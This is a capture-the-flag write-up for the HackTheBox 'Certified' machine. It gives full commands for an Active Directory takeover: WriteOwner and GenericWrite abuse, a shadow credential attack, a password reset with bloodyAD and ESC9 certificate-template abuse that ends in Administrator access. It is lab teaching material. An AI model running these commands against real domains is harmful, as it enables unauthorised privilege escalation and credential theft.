Certified
Created by ruycr4ft
The following post by 0xb0b is licensed under CC BY 4.0
Summary
We started with an Nmap scan revealing typical Active Directory services, then used the provided credentials for judith.mader to gather AD relationships with BloodHound. Judith had WriteOwner permissions on the Management group, allowing us to take ownership and grant GenericWrite over the management_svc user. We successfully performed a shadow credential attack to retrieve the NT hash and gain a shell with evil-winrm. We escalated to the ca_operator account using GenericAll permissions, changed the password, and exploited an ESC9 misconfiguration in the certificate template to obtain the Administrator hash and gain a shell as Administrator with evil-winrm.
Recon
We start with a Nmap scan which revealed multiple services typical of an Active Directory environment, including DNS (53), Kerberos (88), SMB (445), LDAP (389, 636), and Global Catalog (3268, 3269).
nmap -p- certified.htb -Pn
nmap -p 53,88,135,139,389,445,593,636,3268,3269,49666,49677,49678,49681,49708,49731 -sC -sV certified.htb -T4 -Pn
We have received additional credentials for the machine:
As is common in real life Windows pentests, you will start the Certified box with credentials for the following account: judith.mader:judith09
We are using bloodhound-python to gather and map Active Directory relationships and permissions on the certified.htb domain, authenticating as judith.mader to identify privilege escalation paths.
bloodhound-python -d certified.htb -c All -u 'judith.mader' -p 'judith09' -ns 10.129.68.162 --dns-tcp
We see that judith.mader WriteOwner has permissions on the Management group.
WriteOwner Permissions:
With that we can update the owner of the target object. Since we have credentials for judith.mader we could grant us ownership over the group Management and add the account to the group.
We also see that the Management group has permissions on the GenericWrite user. This means that if we have control of the group, we can perform either a targeted Kerberoast attack or a shadow credential attack on the management_svc user granting us the hash of the user.
The user management_svc, on the other hand, has CanPSRemote permissions, which would allow us to access the machine with evilwin-rm if we compromised the user.

Shell As management_svc
We implement the analysed attack path.
WriteOwner Abuse
First we add judith.mader as owner to Management group.
owneredit.py -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
Since we now own the group, we can now give the user permission to add members via dacledit
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
After that we add judith.mader as member to the Management group.
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.68.162"GenericWrite Abuse
As the user is now part of the group, we can abuse the GenericWrite permission on the management_svc user, which the Management group has. First we will try a targeted Kerberoast attack. See below links for further reading:
We are able to get the Kerberos 5, etype 23, TGS-REP hash of the management_svc user. However, we cannot crack it.
./targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09' --request-user MANAGEMENT_SVC
Next, we try the shadow credential attack using certipy.
Further information on the shadow credential attack can be found under the following link:
But in short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.
With the following command we issue the attack and are succesful. We retrieve the NT hash of management_svc.
certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account 'MANAGEMENT_SVC' -dc-ip 10.129.68.162
We use that hash to log in as management_svc via evil-winrm and find the flag at C:\Users\management_svc\Desktop\user.txt.
evil-winrm -i certified.htb -u management_svc -H 'REDACTED'
Shell as Administrator
Since the machine is called Certified, we have tested for vulnerabilities on certificate templates with each user we have access to using certipy. However, the user management_svc also does not have any templates that are vulnerable and can be used by the user.
certipy-ad find -u management_svc@certified.htb -hashes ':REDACTED' -dc-ip 10.129.68.162 -vulnerable
We look at our Bloodhound results again and see that we have GenericAll permissions over the user CA_Operator as management_svc.

This allows us to change the user's password.
We use bloodyAD for this.
We change the password.
./bloodyAD.py -d certified.htb -u management_svc -p ":REDACTED" --host 10.129.68.162 set password ca_operator 'newP@ssword2022'
Now we are able to query for vulnerable templates as ca_operator.
certipy-ad find -u ca_operator@certified.htb -p 'newP@ssword2022' -dc-ip 10.129.68.162 -vulnerable
An we spot one:
┌──(0xb0b㉿kali)-[~/Documents/htb-app/certified/bloodyAD]
└─$ cat 20250315144904_Certipy.txt
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extensionThe CertifiedAuthentication template is vulnerable to ESC9.
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extensionFor further reading on ESC9 we can follow the link below:
ESC9 refers to the new
msPKI-Enrollment-FlagvalueCT_FLAG_NO_SECURITY_EXTENSION(0x80000). If this flag is set on a certificate template, the newszOID_NTDS_CA_SECURITY_EXTsecurity extension will not be embedded. ESC9 is only useful whenStrongCertificateBindingEnforcementis set to1(default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.
To abuse this misconfiguration, the attacker needs
GenericWriteover any account A that is allowed to enroll in the certificate template to compromise account B (target).
ESC9Conditions:
StrongCertificateBindingEnforcementset to1(default) or0Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSIONflag in themsPKI-Enrollment-FlagvalueCertificate specifies any client authentication EKU
Requisites:
GenericWriteover any account A to compromise any account B
ESC9
We follow the example of https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 and update account management_svc with upn pointing to Administrator.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn Administrator
Then we request vulnerable template, but receive an error. This might be cause by the password, since with a different it worked.

We change the password for ca_operator again.
python bloodyAD.py --host "certified.htb" -d certified.htb -u management_svc -p :REDACTED set password ca_operator 'Password123@'Below are the steps to abuse ESC9:
We change the userPrincipalName of ca_operator to be Administrator.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn AdministratorWe request the vulnerable certificate template CertifiedAuthentication (ESC9).
certipy-ad req -username ca_operator@certified.htb -p 'Password123@' -ca certified-DC01-CA -template CertifiedAuthenticationThen, we change back the userPrincipalName of ca_operator back to ca_operator.
certipy-ad account update -username management_svc@certified.htb -hashes ':REDACTED' -user ca_operator -upn ca_operator@certified.htbNow, if we try to authenticate with the certificate, we will receive the NT hash of the Administrator@certified.htb user. We need to add -domain certified.htb to our command since there is no domain specified in the certificate. We receive the Administrators hash.
certipy-ad auth -pfx administrator.pfx -domain certified.htb
We use the Administrators NT hash to log in via evil-winrm and find the final flag at C:\Users\Administrator\Desktop\root.txt.
evil-winrm -i certified.htb -u Administrator -H 'REDACTED'
Last updated
Was this helpful?